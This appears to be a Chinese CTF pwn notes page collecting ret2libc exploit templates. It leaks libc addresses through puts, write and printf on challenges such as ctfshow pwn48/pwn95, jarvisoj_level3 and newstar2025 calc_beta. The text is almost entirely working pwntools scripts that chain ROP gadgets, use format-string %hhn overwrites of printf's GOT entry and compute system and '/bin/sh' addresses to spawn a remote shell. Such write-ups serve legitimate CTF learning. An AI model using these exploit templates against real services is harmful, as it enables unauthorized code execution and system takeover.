libc泄露

碰到一题学一题不断更新

libc泄露

这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露

puts泄露

puts(32位)

例题:ctfshow的pwn48

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#r = process("./pwn48") #本地
r = remote("pwn.challenge.ctf.show", 28274) #远程
elf = ELF('./pwn48')
offset = 0x6B + 0x4 #根据实际的偏移量填写
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload)
puts_addr = u32(r.recvuntil('\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
bin_sh = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(payload)
r.interactive()

puts(64位)

例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
#r = process("./pwn46")
r = remote("pwn.challenge.ctf.show", 28220)
elf = ELF("./pwn46")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
offset = 0x70+8
rdi_ret = 0x0000000000400803
ret = 0x00000000004004fe
payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil("O.o?\n")#此题不可去
r.sendline(payload1)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
#puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system)
r.sendline(payload2)
r.interactive()

获取rdi,ret的地址可以通过ROPgadget

1
ROPgadget --binary ./pwn46 --only "pop|ret"

write泄露

write(32位)

例题:BUUCTF的jarvisoj_level3

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',27119)
elf=ELF('./level3')
main = elf.sym["main"]
write_plt=elf.plt['write']
write_got=elf.got['write']
offset = 0x88+4
payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
#r.recvuntil('Input:\n')
r.sendline(payload)

r.interactive()

write(64位)

例题:BUUCTF的jarvisoj_level3_x64

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#context(arch='amd64', os='linux', log_level='debug')

# 初始化目标:本地文件或远程服务
elf = ELF('./level3_x64') # 替换成你的二进制文件名
#r = process('./level3_x64') # 本地测试
r = remote('node5.buuoj.cn', 28476) # 远程连接

# 获取关键地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main'] # 用于重新触发漏洞(可选)

# 寻找ROP Gadgets(需根据实际二进制用ROPgadget查找)
pop_rdi = 0x04006b3 # pop rdi; ret; (示例地址,需替换)
pop_rsi_r15 = 0x4006b1 # pop rsi; pop r15; ret; (示例地址,需替换)

# 计算溢出偏移量(需通过调试确定)
offset = 0x80 + 0x08 # 替换成你的实际偏移量

# 构造泄露write@got的ROP链

payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)
#等同于payload = b'A' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# 发送Payload
r.sendlineafter(b'Input:\n', payload) # 根据实际提示符修改

# 接收泄露的地址(注意接收长度)

write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f'write@libc: {hex(write_leak)}')

# 使用libcsearch查找libc版本
libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system@libc: {hex(system_addr)}')
log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')

# 构造后续攻击Payload(示例:ret2system)
payload2 = flat(
b'A' * offset,
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
)

# 发送第二个Payload
r.sendline(payload2)

# 获得shell
r.interactive()

本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

1

如果有rdx的话

1
2
3
4
5
6
7
8
9
10
11
12
payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(pop_rdx),
p64(8), # 设置rdx为8,因为我们要读取8个字节(也不一定是8)
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)

printf泄露(格式化字符串)

例题:ctfshow的pwn95

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn")
r = remote('pwn.challenge.ctf.show',28269)
elf = ELF("./pwn")
#计算出的偏移量,根据实际情况调整
offset = 6
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()

例题:axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#sh=process("./pwn")
sh=remote('node5.buuoj.cn',26272)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_got=elf.got['puts']
printf_got =elf.got['printf']
main = elf.sym['main']
#payload1 = p32(puts_got)+b'%8$s'
payload1 = b'%9$saaaa'+p64(puts_got) #%9$saaaa占了一个字符所以8 -->9
sh.sendlineafter('Please tell me:',payload1)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add=>',hex(puts_addr))
libc.address = puts_addr-libc.sym['puts']
system_addr = libc.sym['system']
printf_addr = libc.sym['printf']
print('system_add=>',hex(system_addr))
print('printf_add=>',hex(printf_addr))
#这些地址只有部分不一样,那么只要覆盖这些不一样的即可了
sysaddr1=system_addr&0xff
sysaddr2=(system_addr&0xff00)>>8
sysaddr3=(system_addr&0xff0000)>>16
print('sys1=>',hex(sysaddr1))
print('sys2=>',hex(sysaddr2))
print('sys3=>',hex(sysaddr3))
#9是输出的“Repeater:”的字符数
sysaddr1_value = sysaddr1-9
result = sysaddr2-sysaddr1
sysaddr2_value=result if result>0 else result+0x100
result = sysaddr3-sysaddr2
sysaddr3_value=result if result>0 else result+0x100

#这种和32位一样的写法会被00截断,所以需要把要覆盖的地址放到payload最后面
# payload2=b'aaaa'+p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)#共22个字符
# payload2+=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%9$hhn'
# payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%10$hhn'
# payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%11$hhn'

payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn'
payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2=payload2.ljust(40,b'a')
print('len=>',len(payload2))
print(payload2)
payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)


sh.sendline(payload2)
payload3 = b';/bin/sh'
sh.sendline(payload3)
sh.interactive()

newstar2025 calc_beta

参考链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v5; // [rsp+88h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 0, 0x80uLL);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
show_numbers(s);
break;
case 2u:
edit_numbers(s);
break;
case 3u:
memset(s, 0, 0x80uLL);
break;
case 4u:
beta_puts("*** 浣犱笉蹇呭湪\"calc\"閲岄潰鎼滅储婕忔礊 ***");
beta_puts(&unk_401418);
calc(s);
break;
case 5u:
return 0;
default:
beta_puts("Invalid choice meow!");
break;
}
}
}
1
2
3
4
5
6
7
8
9
int __fastcall show_numbers(__int64 a1)
{
int result; // eax
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
result = printf("num%d = %lld\n", (unsigned int)(i + 1), *(_QWORD *)(8LL * i + a1));
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 *__fastcall edit_numbers(__int64 a1)
{
__int64 *result; // rax
__int64 v2; // rcx
unsigned int v3; // [rsp+1Ch] [rbp-4h]

beta_puts("Which number?");
v3 = getnum();
if ( v3 >= 0x11 )
return (__int64 *)beta_puts("Invalid index!");
beta_puts("Change to what?");
v2 = getnum();
result = (__int64 *)(8LL * (int)(v3 - 1) + a1);
*result = v2;
return result;
}

edit_numbers 函数 - 主要利用点

主函数中s在栈上内存与edit函数的返回地址相邻,s[0]的数据可以修改,故可以当成栈溢出构造ROP链来打。和ret2libc一样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch='amd64',log_level='debug')
file = './calc'
elf = ELF(file)
libc = ELF("./libc.so.6")

s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")

def show():
ru("5. Exit")
sl("1")
def edit(number,data):
ru("5. Exit")
sl("2")
ru("Which number?")
sl(str(number))
ru("Change to what?")
sl(str(data))

p=remote("39.106.48.123",17610)
#p=process(file)
# gdb.attach(p,"b *0x40116A")


atoll_got = elf.got['atoll']
pop_rdi=0x401253
pop_rsi_r15=0x401251

edit(1,atoll_got)
edit(2,0x400857)
edit(3,0x4006b6)
edit(4,0x40116A)
edit(0,pop_rdi)

ru("> ")
atoll_addr=u64(p.recv(6).ljust(8,b"\x00"))
print("write_addr",atoll_addr)
libcbase = atoll_addr - libc.symbols['atoll']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))

ret=0x4006b6
ru("> ")
sl("8")
ru("Change to what?")
sl(str(binsh_addr))
edit(6,binsh_addr)
edit(7,system_addr)
edit(5,pop_rdi)
edit(4,ret)
p.interactive()